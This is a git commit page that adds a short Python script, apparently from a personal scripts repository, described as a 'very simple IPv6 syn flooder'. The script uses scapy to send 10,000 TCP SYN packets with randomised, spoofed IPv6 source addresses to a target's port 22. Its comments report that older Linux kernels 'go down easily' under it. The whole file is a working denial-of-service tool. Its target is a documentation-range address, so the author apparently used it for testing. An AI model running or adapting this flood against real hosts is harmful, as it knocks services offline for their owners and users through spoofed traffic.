]> git.sven.stormbind.net Git - sven/scripts.git/commitdiff
Add my very simple IPv6 syn flood script
authorSven Hoexter <sven@timegate.de>
Thu, 28 Jun 2012 21:54:27 +0000 (23:54 +0200)
committerSven Hoexter <sven@timegate.de>
Thu, 28 Jun 2012 21:54:27 +0000 (23:54 +0200)
home/ipv6synflood.py [new file with mode: 0755]

diff --git a/home/ipv6synflood.py b/home/ipv6synflood.py
new file mode 100755 (executable)
index 0000000..5d08f39
--- /dev/null
@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+
+"""
+very simple IPv6 syn flooder
+Copyright (C) 2012 Sven Hoexter <sven@timegate.de>
+
+Notes:
+* Linux 2.6.32 aka Debian/Squeeze goes down easily.
+* Linux 3.2 aka Debian/Wheezy keeps up well.
+
+
+DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+                    Version 2, December 2004
+
+ Copyright (C) 2004 Sam Hocevar <sam@hocevar.net>
+
+ Everyone is permitted to copy and distribute verbatim or modified
+ copies of this license document, and changing it is allowed as long
+ as the name is changed.
+
+            DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. You just DO WHAT THE FUCK YOU WANT TO. 
+"""
+
+import random
+from scapy.all import IPv6,TCP,send
+
+b = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f']
+prefix = "2001:"
+dstaddr = "2001:DB8::123"
+destport = 22
+
+for x in range(0,10000):
+    random.shuffle(b,random.random)
+    srcaddr= prefix + b[0] + b[15] + b[1] + b[14] + ":" + b[2] + b[13] + b[3] + b[12] + ":" + b[4] + b[11] + b[5] + b[10] + ":" + b[6] + b[9] + b[7] + b[8] + ":" + b[8] + b[0] + b[9] + b[1] + ":" + b[10] + b[2] + b[11] + b[3] + ":" + b[12] + b[13] + b[14] + b[15]
+    send(IPv6(dst=dstaddr,src=srcaddr)/TCP(dport=destport,flags="S"))